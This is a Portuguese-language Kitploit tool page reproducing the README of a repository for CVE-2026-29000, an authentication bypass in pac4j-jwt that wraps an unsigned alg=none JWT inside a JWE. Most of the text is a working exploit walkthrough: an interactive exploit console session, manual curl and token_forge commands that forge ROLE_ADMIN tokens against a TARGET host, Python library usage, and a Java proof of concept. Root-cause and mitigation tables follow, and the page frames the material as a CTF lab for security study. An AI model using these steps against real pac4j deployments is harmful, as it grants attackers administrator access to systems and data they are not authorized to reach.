Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/clayofgilgamesh/cve-2026-29000
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAutenticaçãoAprendizado e EducaçãoLabs e Prática
GitHub
clayofgilgamesh/cve-2026-29000

CVE-2026-29000

CTF lab e toolkit de exploração para CVE-2026-29000, uma bypass de autenticação JWE do pac4j-jwt. Inclui alvo Flask vulnerável, biblioteca de forja de tokens, console interativo de exploração e PoC em Java.

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-29000 — Bypass de Autenticação JWE no pac4j-jwt

Lab CTF para estudo da vulnerabilidade de autenticação JWE na biblioteca pac4j-jwt CVSS 9.3 (Crítico) · CWE-287 · Afetados: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3


Visão geral

O pac4j-jwt nas versões afetadas permite ignorar todo o mecanismo de autenticação JWT criando um PlainJWT (alg=none, sem assinatura) e envolvendo-o dentro de um JWE (JSON Web Encryption). Após descriptografar a camada JWE, a biblioteca não verifica o algoritmo do JWT interno — as claims são totalmente confiáveis, incluindo o papel (role).

Cadeia de ataque:

root@kitploit:~
X-Powered-By: pac4j/6.0.3          ← vazamento de versão → identifica o framework
       ↓
OIDC Discovery → JWKS → chave pública RSA   ← informação pública
       ↓
Forja JWE (PlainJWT alg=none, ROLE_ADMIN)
       ↓
Bypass de autenticação → GET /admin?token=<JWE>     ← acesso ao painel admin
       ↓
Leitura de dados sensíveis: lista de funcionários, configuração do sistema, flag

Estrutura do projeto

root@kitploit:~
CVE-2026-29000/
├── lab/                        # Alvo – aplicação Flask (NexusBank Employee Portal)
│   ├── app.py                  # Aplicação principal vulnerável
│   ├── Dockerfile              # Flag embutida em /flag.txt durante o build
│   └── requirements.txt
│
├── token_forge/                # Biblioteca Python para gerar tokens JWE falsificados
│   ├── forge.py                # forge_token()
│   ├── jwe_builder.py
│   ├── keys.py
│   ├── claims.py
│   └── cli.py                  # CLI: python -m token_forge
│
├── scripts/
│   └── exploit.py              # Console de exploração interativa (estilo Metasploit)
│
├── poc/                        # PoC em Java – confirma o bypass in-process
│   ├── src/main/java/Poc.java
│   └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt

Requisitos

FerramentaVersãoObservações
Docker Desktop24+Executa o alvo do lab
Docker Composev2+Integrado ao Docker Desktop
Python3.11+Executa exploit.py e token_forge
Java + Maven11+Necessário apenas para o PoC em Java

Instalação

1. Clonar o repositório

root@kitploit:~
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000

2. Instalar dependências Python

root@kitploit:~
# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt

3. Iniciar o lab

root@kitploit:~
docker compose up -d lab

Confirmar que o lab está em execução:

root@kitploit:~
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3

Personalizar a flag:

root@kitploit:~
docker compose build --build-arg FLAG="CTF{custom_flag}" lab
docker compose up -d lab

4. Parar o lab

root@kitploit:~
docker compose down

Exploração — Console Interativo

O exploit.py é um console interativo no estilo Metasploit. O usuário realiza o reconhecimento para coletar informações e, em seguida, configura e explora.

root@kitploit:~
python scripts/exploit.py

# Ou pré-configurado pela linha de comando:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080

Exemplo de sessão completa:

root@kitploit:~
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31

jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)

jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json

jwe-bypass > run

[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned   roles: ['ROLE_ADMIN']

  Auth bypass successful!

  Open in your browser:

  http://192.168.1.31:8080/admin?token=eyJ...

Abra a URL acima no navegador para acessar o painel admin.

PUBKEY suporta 3 formatos:

root@kitploit:~
# 1. URL JWKS — busca automática (recomendado)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json

# 2. Arquivo já baixado
set PUBKEY /tmp/key.json

# 3. Colar diretamente o JSON bruto
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}

Exploração manual (sem exploit.py)

Passo 1 — Reconhecimento

root@kitploit:~
# Detectar o framework pelo cabeçalho da resposta
curl -sI http://TARGET:8080

# Encontrar endpoint oculto
curl -s http://TARGET:8080/robots.txt

Passo 2 — OIDC Discovery → JWKS

root@kitploit:~
# RFC 8414: o pac4j sempre expõe este endpoint
curl -s http://TARGET:8080/.well-known/openid-configuration

# Obter a chave pública RSA do jwks_uri
curl -s http://TARGET:8080/.well-known/jwks.json

Passo 3 — Forjar token JWE

root@kitploit:~
python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --subject attacker \
  --roles ROLE_ADMIN

Passo 4 — Acessar o painel admin

root@kitploit:~
TOKEN=$(python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --roles ROLE_ADMIN 2>/dev/null)

# Confirmar o bypass
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile

# Abrir o painel admin no navegador
echo "http://TARGET:8080/admin?token=$TOKEN"

Usar token_forge como biblioteca Python

root@kitploit:~
from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)

PoC em Java (in-process)

Confirma o bypass diretamente na JVM com Nimbus JOSE + pac4j 6.0.3:

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# Apenas imprimir o token
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"

Executar testes

root@kitploit:~
pytest tests/ -v

# Com relatório de cobertura
pytest tests/ -v --cov=token_forge --cov-report=term-missing

Causa raiz da vulnerabilidade

LocalProblema
JwtAuthenticator.validateToken()Após descriptografar o JWE, chama PlainJWT.parse() em vez de SignedJWT.parse()
_payload_to_claims() no labbase64decode + json.loads diretamente, sem verificar a assinatura

Fluxo de processamento incorreto:

root@kitploit:~
JWE decrypt → obtém payload → base64decode → json.loads → confia nas claims
                                         ↑ falta a etapa de verificação da assinatura do JWT interno

Mitigação

MedidaDetalhes
Atualizar pac4j-jwtPara >= 6.3.3 / 5.7.9 / 4.5.9
Rejeitar PlainJWTVerificar alg != "none" após descriptografar o JWE
Remover cabeçalho de versãoDesativar X-Powered-By em produção
Menor privilégioNão executar o container com privilégios de root

Referências

  • Aviso de Segurança do pac4j
  • RFC 7516 — JSON Web Encryption
  • RFC 7519 — JSON Web Token
  • RFC 8414 — OIDC Discovery
  • CWE-287 — Autenticação Incorreta
  • https://github.com/kernelzeroday/CVE-2026-29000

Aviso: Este repositório destina-se exclusivamente à pesquisa de segurança e CTF em ambientes controlados. Não utilize em sistemas sem autorização.

Baixar ferramenta